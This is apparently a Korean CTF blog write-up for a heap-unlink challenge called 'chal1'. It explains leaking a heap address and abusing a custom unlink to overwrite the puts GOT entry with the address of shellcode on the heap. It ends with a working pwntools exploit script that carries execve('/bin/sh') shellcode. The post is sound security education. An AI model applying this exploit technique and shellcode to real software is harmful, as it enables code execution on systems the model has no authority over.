본문 바로가기
시스템 해킹/cykor

chal1-heap unlink

by sonysame 2018. 2. 18.

heap unlink문제-chal1



기존에 풀었던 chal1과는 다른 문제!

heap문제이고 unlink는 직접 구현되어 있다.


heap주소를 출력해줘서 릭 가능하다


힙에 쉘코드를 넣어놓고,


puts의 got에 쉘코드의 주소를 넣어주면 된다!


근데, 여기서 문제는 unlink과정에서


주소가 덮어진다는 것이다!


1 prev_size size(0x21) data: 2의 주소 

2 여기서부터 입력을 받아요!prev_size size data: 3의 주소 1의 주소

3 prev_size size data: 0     2의 주소


2의 주소를 인자로 받는다!


unlink에서!

2의 데이터를 v1에(3의 주소)

2의 데이터+8을 v2에(1의 주소)


[v1+8]<-v2

[v2]<-v1


v1에는 got-8의 주소를 넣어주고

v2에는 쉘코드 주소를 넣는다!

쉘코드는 jmp 

stack과 heap모두에 rwxp권한이 있다!


힙주소 릭 가능!


힙에 쉘코드를 넣어준다!


puts got에 쉘코드 주소를 넣어준다!



v2에는 puts의 got주소를 넣어주고, v1에는 쉘코드의 주소를 넣는다.

v1+8이 망가지므로!

쉘코드 앞부분에 v1+8을 뛰어넘을 수 있도록 jmp 옵코드를 넣어준다!


from pwn import *

got=0x601018

jmp="\xe9\x0b\x00\x00\x00\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

shellcode="\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"

s=process('./chal1')

#raw_input()

heap=s.recv(1024)[2:9]

heap=int(heap,16)

payload="a"*8+"b"*8

payload+=p64(heap+48)

payload+=p64(got)

payload+=jmp+shellcode

s.send(payload+'\n')

s.interactive()

s.close()